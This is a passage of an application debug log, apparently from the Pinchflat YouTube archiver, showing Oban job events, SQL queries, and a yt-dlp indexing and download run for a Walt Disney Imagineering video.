{"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.943 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:36:19.911 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:49.912 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.944 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:37:19.913 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:49.914 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.945 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:38:19.915 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:49.917 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.946 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:39:19.919 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:49.920 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.947 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:40:19.921 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:49.922 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.948 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:41:19.923 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:49.924 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.949 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:42:19.925 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:49.926 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.950 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:43:19.927 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:49.928 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.951 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:44:19.929 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:49.930 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.952 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:45:19.931 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:49.932 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.953 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:46:19.933 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:49.934 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.954 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:47:19.935 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:49.936 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.955 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:48:19.937 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:49.938 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.956 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:49:19.939 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:49.940 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.957 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:50:19.941 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:49.942 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.958 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:51:19.944 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:49.946 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.959 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:52:19.947 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:49.949 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.960 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:53:19.950 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:49.951 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.961 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:54:19.952 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:49.953 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.962 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:55:19.954 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:49.956 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.963 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:56:18.549 [info] {"args":{"id":2},"id":1725,"meta":{},"system_time":1774997778549597856,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:56:18.550 [debug] QUERY OK source="sources" db=0.2ms idle=1144.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:18.550 [debug] QUERY OK source="settings" db=0.2ms idle=1009.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:18.554 [debug] QUERY OK source="media_items" db=3.9ms idle=145.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:56:18.555 [debug] QUERY OK source="media_items" db=0.4ms idle=12.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:56:18.555 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:18.556 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:18.556 [debug] QUERY OK source="settings" db=0.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:18.558 [debug] QUERY OK source="media_items" db=1.5ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 18:56:18.572 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:56:18.572 [debug] Current batch of media processed. Will check again in 1000ms 18:56:18.572 [debug] QUERY OK source="settings" db=0.2ms idle=17.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:18.573 [debug] QUERY OK source="settings" db=0.0ms idle=17.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:18.573 [debug] QUERY OK source="settings" db=0.1ms idle=16.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:18.573 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@waltdisneyimagineering --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/9c/39/9c39f86b2684acf64a799be01b6249574fe17fc5fc39b3f415743f445a4a3b21.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a8/99/a899794ad5471952299c80569feda7548dfe4a78e351f18be9c4a56180687fcd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:19.573 [debug] Current batch of media processed. Will check again in 1000ms 18:56:19.958 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:20.574 [debug] Current batch of media processed. Will check again in 1000ms 18:56:21.575 [debug] Current batch of media processed. Will check again in 1000ms 18:56:22.576 [debug] Current batch of media processed. Will check again in 1000ms 18:56:23.577 [debug] Current batch of media processed. Will check again in 1000ms 18:56:24.578 [debug] Current batch of media processed. Will check again in 1000ms 18:56:25.579 [debug] Current batch of media processed. Will check again in 1000ms 18:56:26.580 [debug] Current batch of media processed. Will check again in 1000ms 18:56:27.581 [debug] Current batch of media processed. Will check again in 1000ms 18:56:28.582 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover even more hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🍿 Inside Mickey & Minnie’s Runaway Railway → https://youtu.be/qq0aU6SBP_M\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "duration" => 307, "filename" => "/downloads/Walt Disney Imagineering/2026-03-31 MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway/MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway [4H_VF0Dw4gA].mp4", "id" => "4H_VF0Dw4gA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4H_VF0Dw4gA", "playlist_index" => 1, "timestamp" => 1774994920, "title" => "MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway", "upload_date" => "20260331"} 18:56:28.583 [debug] QUERY OK source="sources" db=0.2ms idle=1028.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:28.583 [debug] QUERY OK source="sources" db=0.2ms idle=177.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:28.584 [debug] QUERY OK source="media_items" db=0.5ms idle=178.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-31 22:08:40Z], 2] 18:56:30.161 [debug] QUERY OK source="media_items" db=1575.8ms idle=179.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover even more hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🍿 Inside Mickey & Minnie’s Runaway Railway → https://youtu.be/qq0aU6SBP_M\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway", "55ef5981-c686-4ab3-97ed-d7d5a7b18a19", "4H_VF0Dw4gA", "https://www.youtube.com/watch?v=4H_VF0Dw4gA", false, 307, false, 1, "/downloads/Walt Disney Imagineering/2026-03-31 MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway/MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway [4H_VF0Dw4gA].mp4", false, false, 2, [], 99, ~U[2026-03-31 22:08:40Z], ~U[2026-03-31 22:56:28Z], ~U[2026-03-31 22:56:28Z], "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover even more hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🍿 Inside Mickey & Minnie’s Runaway Railway → https://youtu.be/qq0aU6SBP_M\n👻 Haunted Mansion Secrets Revealed → https://youtu.be/endLo0NqGaw\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/", "MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway", "4H_VF0Dw4gA", "https://www.youtube.com/watch?v=4H_VF0Dw4gA", 307, false, "/downloads/Walt Disney Imagineering/2026-03-31 MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway/MORE Imagineering Secrets & Stories at Mickey & Minnie's Runaway Railway [4H_VF0Dw4gA].mp4", false, 2, ~U[2026-03-31 22:08:40Z]] 18:56:30.161 [debug] QUERY OK source="sources" db=0.2ms idle=1577.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:30.162 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1577.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:30.162 [debug] QUERY OK source="media_items" db=0.2ms idle=1577.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 18:56:30.162 [info] Kicking off download for media item #13020 (4H_VF0Dw4gA) 18:56:30.283 [debug] QUERY OK source="tasks" db=0.2ms idle=121.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1733, 13020, ~U[2026-03-31 22:56:30Z], ~U[2026-03-31 22:56:30Z]] 18:56:30.283 [debug] Current batch of media processed. Will check again in 1000ms 18:56:30.289 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774997790289254577,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:30.289 [debug] QUERY OK source="media_items" db=0.1ms idle=126.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 18:56:30.289 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:56:30.290 [debug] QUERY OK source="sources" db=0.1ms idle=126.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:30.290 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", 